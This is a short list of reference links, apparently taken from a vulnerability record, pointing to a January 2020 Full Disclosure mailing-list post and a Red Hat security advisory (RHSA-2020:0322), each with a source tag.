http://seclists.org/fulldisclosure/2020/Jan/40
Tags : mailing-list, x_refsource_FULLDISC
https://access.redhat.com/errata/RHSA-2020:0322
Tags : vendor-advisory, x_refsource_REDHAT